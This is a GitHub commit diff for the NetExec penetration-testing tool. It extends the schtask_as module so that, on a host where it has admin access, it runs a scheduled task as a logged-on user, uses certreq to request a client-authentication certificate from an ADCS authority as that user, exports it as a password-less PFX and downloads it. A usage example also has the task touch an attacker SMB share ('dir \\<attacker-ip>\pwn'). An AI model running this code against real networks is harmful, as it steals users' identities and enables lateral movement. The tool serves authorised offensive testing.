Skip to content

Commit 32c1a4a

Browse files
authored
Merge pull request Pennyw0rth#908 from Dfte/schtaskas_certreq
Add certificate request options to schtask_as
2 parents 9cf6f59 + 0024804 commit 32c1a4a

2 files changed

Lines changed: 156 additions & 53 deletions

File tree

nxc/modules/schtask_as.py

Lines changed: 143 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,12 @@
1-
import os
1+
from time import sleep
2+
from io import BytesIO
3+
from textwrap import dedent
4+
from os import path, makedirs
25
from traceback import format_exc
6+
7+
from nxc.paths import NXC_PATH
38
from nxc.helpers.misc import CATEGORY
9+
from nxc.helpers.misc import gen_random_string
410
from nxc.protocols.smb.atexec import TSCH_EXEC
511

612

@@ -11,6 +17,7 @@ class NXCModule:
1117
Modified by @Defte_ so that output on multiples lines are printed correctly (28/04/2025)
1218
Modified by @Defte_ so that we can upload a custom binary to execute using the BINARY option (28/04/2025)
1319
Modified by @SGMG11 to execute the task without output
20+
Modified by @Defte_ to add certificate request on behalf of someone options
1421
"""
1522
name = "schtask_as"
1623
description = "Remotely execute a scheduled task as a logged on user"
@@ -26,69 +33,136 @@ def options(self, context, module_options):
2633
FILE OPTIONAL: Set a name for the command output file
2734
LOCATION OPTIONAL: Set a location for the command output file (e.g. 'C:\\Windows\\Temp\\')
2835
SILENTCOMMAND OPTIONAL: Do not retrieve output
36+
CA OPTIONAL: Set the Certificate Authority name to ask the certificate from (i.e: SERVER\\CA_NAME)
37+
TEMPLATE OPTIONAL: Set the name of the template to request a certificate from
2938
3039
Example:
3140
-------
3241
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=whoami
3342
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='bin.exe --option' BINARY=bin.exe
3443
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='dir \\<attacker-ip>\pwn' TASK='Legit Task' SILENTCOMMAND='True'
44+
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
3545
"""
36-
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = None
46+
self.logger = context.log
47+
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None
3748
self.share = "C$"
38-
self.tmp_dir = "C:\\Windows\\Temp\\"
39-
self.tmp_path = self.tmp_dir.split(":")[1]
40-
self.show_output = True
41-
42-
if "CMD" in module_options:
43-
self.command_to_run = module_options["CMD"]
44-
45-
if "BINARY" in module_options:
46-
self.binary_to_upload = module_options["BINARY"]
47-
48-
if "USER" in module_options:
49-
self.run_task_as = module_options["USER"]
50-
51-
if "TASK" in module_options:
52-
self.task_name = module_options["TASK"]
53-
54-
if "FILE" in module_options:
55-
self.output_filename = module_options["FILE"]
56-
57-
if "LOCATION" in module_options:
58-
# Ensure trailing backslashes
59-
self.output_file_location = module_options["LOCATION"].rstrip("\\") + "\\"
60-
61-
if "SILENTCOMMAND" in module_options and module_options["SILENTCOMMAND"] in ["True", "yes", "1"]:
62-
self.show_output = False
49+
self.output_file_location = "\\Windows\\Temp"
50+
51+
# Basic schtask_as parameters
52+
self.command_to_run = module_options.get("CMD")
53+
self.binary_to_upload = module_options.get("BINARY")
54+
self.run_task_as = module_options.get("USER")
55+
56+
# Task customization options
57+
self.task_name = module_options.get("TASK")
58+
self.output_filename = module_options.get("FILE", gen_random_string(8))
59+
self.output_file_location = module_options.get("LOCATION", self.output_file_location).rstrip("\\")
60+
self.show_output = module_options.get("SILENTCOMMAND", "").lower() not in {"true", "yes", "1"}
61+
62+
# ADCS certificate request options
63+
self.ca_name = module_options.get("CA")
64+
if self.ca_name:
65+
if "\\" not in self.ca_name:
66+
context.log.fail("CA name must be in the following format: SERVER_NAME\\CertificateAuthority_Name")
67+
exit(1)
68+
elif "\\\\" in self.ca_name:
69+
self.ca_name = self.ca_name.replace("\\\\", "\\")
70+
self.template_name = module_options.get("TEMPLATE")
6371

6472
def on_admin_login(self, context, connection):
65-
self.logger = context.log
6673

6774
if self.command_to_run is None:
6875
self.logger.fail("You need to specify a CMD to run")
6976
return
7077

7178
if self.run_task_as is None:
72-
self.logger.fail("You need to specify a USER to run the command as")
79+
self.logger.fail("You need to specify a USER to run the task as")
7380
return
7481

75-
if self.show_output is False:
76-
self.logger.display("Command will be executed silently without output")
82+
if self.command_to_run.lower() == "certreq":
83+
if self.ca_name is None:
84+
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
85+
return
86+
87+
if self.template_name is None:
88+
self.logger.fail("CertReq requires the template to request a certificate from")
89+
return
90+
91+
tmp_share = self.share.replace("$", ":")
92+
full_path_prefixed_file = f"{tmp_share}\\{self.output_file_location}\\{self.output_filename}"
93+
batch_file = BytesIO(dedent(f"""
94+
@echo off
95+
setlocal enabledelayedexpansion
96+
97+
certreq -new {full_path_prefixed_file}.inf {full_path_prefixed_file}.req > nul
98+
certreq -submit -config {self.ca_name} {full_path_prefixed_file}.req {full_path_prefixed_file}.cer > nul
99+
100+
set "HASH="
101+
102+
for /f "usebackq tokens=* delims=" %%L in (`certreq -accept {full_path_prefixed_file}.cer`) do (
103+
set "line=%%L"
104+
105+
for /f "tokens=2* delims=:" %%X in ("!line!") do (
106+
set "candidate=%%X"
107+
set "candidate=!candidate:~1!"
108+
echo !candidate! | findstr /R "^[0-9A-Fa-f][0-9A-Fa-f]*" > nul
109+
if not errorlevel 1 (
110+
if "!candidate:~40!"=="" (
111+
set "HASH=!candidate!"
112+
certutil -user -exportPFX -p "" !HASH! {full_path_prefixed_file}.pfx > nul
113+
)
114+
)
115+
)
116+
)
117+
exit
118+
""").encode())
119+
connection.conn.putFile(self.share, f"{self.output_file_location}\\{self.output_filename}.bat", batch_file.read)
120+
self.logger.success("Upload batch file successfully")
121+
122+
inf_file = BytesIO(dedent(f"""
123+
[Version]
124+
Signature="$Windows NT$"
125+
126+
[NewRequest]
127+
Subject = "CN={self.run_task_as}"
128+
KeySpec = 1
129+
KeyLength = 2048
130+
Exportable = TRUE
131+
MachineKeySet = FALSE
132+
SMIME = FALSE
133+
PrivateKeyArchive = FALSE
134+
UserProtected = FALSE
135+
UseExistingKeySet = FALSE
136+
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
137+
ProviderType = 12
138+
RequestType = PKCS10
139+
KeyUsage = 0xa0
140+
141+
[EnhancedKeyUsageExtension]
142+
OID=1.3.6.1.5.5.7.3.2
143+
144+
[RequestAttributes]
145+
CertificateTemplate = {self.template_name}
146+
""").encode())
147+
connection.conn.putFile(self.share, f"{self.output_file_location}\\{self.output_filename}.inf", inf_file.read)
148+
self.logger.success("Upload INF file successfully")
149+
150+
self.command_to_run = f"{full_path_prefixed_file}.bat"
77151

78152
if self.binary_to_upload:
79-
if not os.path.isfile(self.binary_to_upload):
153+
if not path.isfile(self.binary_to_upload):
80154
self.logger.fail(f"Cannot find {self.binary_to_upload}")
81155
return
82156
else:
83157
self.logger.display(f"Uploading {self.binary_to_upload}")
84-
binary_file_location = self.tmp_path if self.output_file_location is None else self.output_file_location
85158
with open(self.binary_to_upload, "rb") as binary_to_upload:
86159
try:
87-
self.binary_to_upload_name = os.path.basename(self.binary_to_upload)
88-
connection.conn.putFile(self.share, f"{binary_file_location}{self.binary_to_upload_name}", binary_to_upload.read)
89-
self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {binary_file_location}{self.binary_to_upload_name}")
160+
self.binary_to_upload_name = path.basename(self.binary_to_upload)
161+
connection.conn.putFile(self.share, f"{self.output_file_location}\\{self.binary_to_upload_name}", binary_to_upload.read)
162+
self.command_to_run = f"{self.output_file_location}\\{self.command_to_run}"
163+
self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {self.output_file_location}\\{self.binary_to_upload_name}")
90164
except Exception as e:
91-
self.logger.fail(f"Error writing file to share {binary_file_location}: {e}")
165+
self.logger.fail(f"Error writing file to {self.output_file_location}: {e}")
92166
return
93167

94168
self.logger.display("Connecting to the remote Service control endpoint")
@@ -114,7 +188,11 @@ def on_admin_login(self, context, connection):
114188
self.output_file_location,
115189
)
116190

117-
self.logger.display(f"Executing '{self.command_to_run}' as '{self.run_task_as}'")
191+
if self.show_output is False:
192+
self.logger.display(f"Silently executing '{self.command_to_run}' as '{self.run_task_as}'")
193+
else:
194+
self.logger.display(f"Executing '{self.command_to_run}' as '{self.run_task_as}'")
195+
118196
output = exec_method.execute(self.command_to_run, self.show_output)
119197

120198
try:
@@ -127,13 +205,35 @@ def on_admin_login(self, context, connection):
127205
for line in output.splitlines():
128206
self.logger.highlight(line.rstrip())
129207

130-
except Exception:
131-
self.logger.debug("Error executing command via atexec, traceback:")
208+
except Exception as e:
209+
self.logger.fail(f"Error executing command via atexec: {e}")
132210
self.logger.debug(format_exc())
133211
finally:
134212
if self.binary_to_upload:
135213
try:
136-
connection.conn.deleteFile(self.share, f"{binary_file_location}{self.binary_to_upload_name}")
137-
context.log.success(f"Binary {binary_file_location}{self.binary_to_upload_name} successfully deleted")
214+
connection.conn.deleteFile(self.share, f"{self.output_file_location}\\{self.binary_to_upload_name}")
215+
self.logger.success(f"Binary {self.output_file_location}\\{self.binary_to_upload_name} successfully deleted")
138216
except Exception as e:
139-
context.log.fail(f"Error deleting {binary_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
217+
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
218+
219+
if self.ca_name and self.template_name:
220+
221+
dump_path = path.join(NXC_PATH, "modules/schtask_as")
222+
if not path.isdir(dump_path):
223+
makedirs(dump_path)
224+
225+
# This sleep is required as the computing of the pfx file takes some time
226+
sleep(2)
227+
with open(path.join(dump_path, f"{self.run_task_as}.pfx"), "wb+") as dump_file:
228+
try:
229+
connection.conn.getFile(self.share, f"{self.output_file_location}\\{self.output_filename}.pfx", dump_file.write)
230+
self.logger.success(f"PFX file stored in {dump_path}/{self.run_task_as}.pfx")
231+
except Exception as e:
232+
self.logger.fail(f"Error while getting {self.output_file_location}\\{self.output_filename}.pfx: {e}")
233+
234+
for ext in [".bat", ".inf", ".cer", ".req", ".rsp", ".pfx", ""]:
235+
try:
236+
connection.conn.deleteFile(self.share, f"{self.output_file_location}\\{self.output_filename}{ext}")
237+
self.logger.debug(f"Successfully deleted {self.output_file_location}\\{self.output_filename}{ext}")
238+
except Exception as e:
239+
self.logger.debug(f"Couldn't delete {self.output_file_location}\\{self.output_filename}{ext} : {e}")

nxc/protocols/smb/atexec.py

Lines changed: 13 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -74,8 +74,8 @@ def output_callback(self, data):
7474
self.__outputBuffer = data
7575

7676
def get_end_boundary(self):
77-
# Get current date and time + 5 minutes
78-
end_boundary = datetime.now() + timedelta(minutes=5)
77+
# Get current date and time + 1 day
78+
end_boundary = datetime.now() + timedelta(days=1)
7979

8080
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
8181
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
@@ -196,14 +196,17 @@ def execute_handler(self, command):
196196
self.logger.fail(str(e))
197197
return
198198

199-
done = False
200-
while not done:
201-
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
202-
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
203-
if resp["pLastRuntime"]["wYear"] != 0:
204-
done = True
205-
else:
206-
sleep(2)
199+
try:
200+
done = False
201+
while not done:
202+
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
203+
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
204+
if resp["pLastRuntime"]["wYear"] != 0:
205+
done = True
206+
else:
207+
sleep(2)
208+
except tsch.DCERPCSessionError as e:
209+
self.logger.fail(f"Error retrieving task last run info: {e}")
207210

208211
self.logger.info(f"Deleting task \\{self.task_name}")
209212
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")

0 commit comments

Comments
 (0)